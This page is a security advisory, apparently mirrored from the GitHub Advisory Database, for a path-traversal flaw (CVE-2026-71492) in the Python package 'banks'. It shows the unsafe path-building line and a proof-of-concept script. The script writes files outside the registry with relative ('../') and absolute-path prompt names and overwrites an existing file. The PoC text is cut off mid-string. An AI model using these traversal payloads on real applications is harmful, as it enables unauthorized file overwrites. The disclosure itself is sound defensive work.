mediumVulnerability

CVE-2026-71492

## Summary `DirectoryPromptRegistry.set()` interpolates the attacker-controllable `Prompt.name` into a `Path` expression with no canonicalization. An application that derives the prompt name from request data lets a caller write attacker-controlled bytes outside the configured registry directory. ## Details `src/banks/registries/directory.py:44` ```python prompt_file = path / f"{prompt.name}.{prompt.version}.jinja" prompt_file.write_text(prompt.raw) ``` Two failure modes: 1. **Relative traversal.** `name="../victim/foo"` resolves to `<registry>/../victim/foo.0.jinja` — outside the configured root. 2. **Absolute-path bypass.** `pathlib` documents that `Path("/a") / Path("/b")` returns `Path("/b")`. So `name="/abs/path"` discards the registry root entirely; the registry is never consulted. The poisoned `name` is then persisted to `index.json`, so the out-of-root path keeps reconstructing on later `_load()` calls (`directory.py:135-141`). With `overwrite=True`, existing files at the target path are replaced. ## Proof of Concept ```python import tempfile from pathlib import Path from banks import Prompt from banks.registries import DirectoryPromptRegistry work = Path(tempfile.mkdtemp()) registry = work / "registry"; registry.mkdir() victim = work / "victim"; victim.mkdir() reg = DirectoryPromptRegistry(str(registry)) # (1) Relative traversal reg.set(prompt=Prompt("pwn", name="../victim/pwned", version="0")) print((victim / "pwned.0.jinja").read_text()) # 'pwn' # (2) Absolute-path bypass — registry root is silently discarded target = victim / "absolute_pwn" reg.set(prompt=Prompt("abs pwn", name=str(target), version="0")) print((victim / "absolute_pwn.0.jinja").read_text()) # 'abs pwn' # (3) Clobber an existing file existing = victim / "clobber_me" existing.write_text("ORIGINAL\n") reg.set(prompt=Prompt("CLOBBERED", name=str(existing), version="0"), overwrite=True) print((victim / "clobber_me.0.jinja").read_text()) # 'CLOBBER

Properties

ghsa_id
GHSA-x8wg-4xgc-vr54
severity
medium
summary
Banks: Path traversal in `DirectoryPromptRegistry.set()` allows arbitrary file write outside the registry root
cve_id
CVE-2026-71492
is_ghsa_only
false
ghsa_published
2026-09-02T14:38:24Z
source_url
https://github.com/advisories/GHSA-x8wg-4xgc-vr54
ghsa_updated
2026-09-02T14:38:25Z

Related Entities (4)

REPORTED_BY (1)

[Source]GitHub Advisory Database

VULNERABLE_TO (1)

[Software]pip/banks

AFFECTS (1)

[Software]pip/banks

HAS_WEAKNESS (1)

[Weakness]Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Explore deeper with Ninja Signal's threat intelligence graph

CVE-2026-71492 — Ninja Signal Threat Intelligence | Ninja Signal